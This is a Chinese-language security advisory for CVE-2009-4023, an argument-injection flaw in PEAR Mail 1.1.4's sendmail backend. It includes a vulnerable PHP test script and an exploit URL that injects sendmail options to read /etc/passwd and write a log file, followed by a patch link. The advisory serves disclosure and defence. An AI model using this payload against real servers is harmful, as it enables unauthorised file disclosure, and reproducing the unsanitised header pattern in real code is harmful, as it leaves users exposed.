安全研究

安全漏洞
PEAR Mail软件包Sendmail Mail::Send()方式参数注入漏洞

发布日期:2009-11-20
更新日期:2009-11-23

受影响系统:
PEAR Mail 1.1.4
不受影响系统:
PEAR Mail 1.2.0 b2
描述:
BUGTRAQ  ID: 37081
CVE(CAN) ID: CVE-2009-4023

PEAR是“PHP扩展和应用库”的缩写,用于为PHP用户提供结构化的开源代码库。

PEAR的Mail软件包中sendmail实现没有正确地过滤对Mail::Send()方式所提交的from参数,远程攻击者可以向sendmail命令传送任意参数,绕过安全限制获取任意文件的内容。

<*来源:websec
  
  链接:http://secunia.com/advisories/37410/
        http://pear.php.net/bugs/bug.php?id=16200
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
require_once("Mail.php");
$from = "From: " . $_REQUEST['email'] . "\r\n";
$to = "xxxxxxx@zzzz.com";
$subj = "subscription request";
$body = "subscribe me";
$hdrs = array(
"To" => $to,
"Cc" => $cc,
"Bcc" => $bcc,
"From" => $from,
"Subject" => $subject,
);
$body="test";
$mail =& Mail::factory('sendmail');
$mail->send($to, $hdrs, $body);
?>

test.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3

建议:
厂商补丁:

PEAR
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://pear.php.net/bugs/patch-download.php?id=16200&patch=quick-fix&revision=1241757412

浏览次数:3328
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障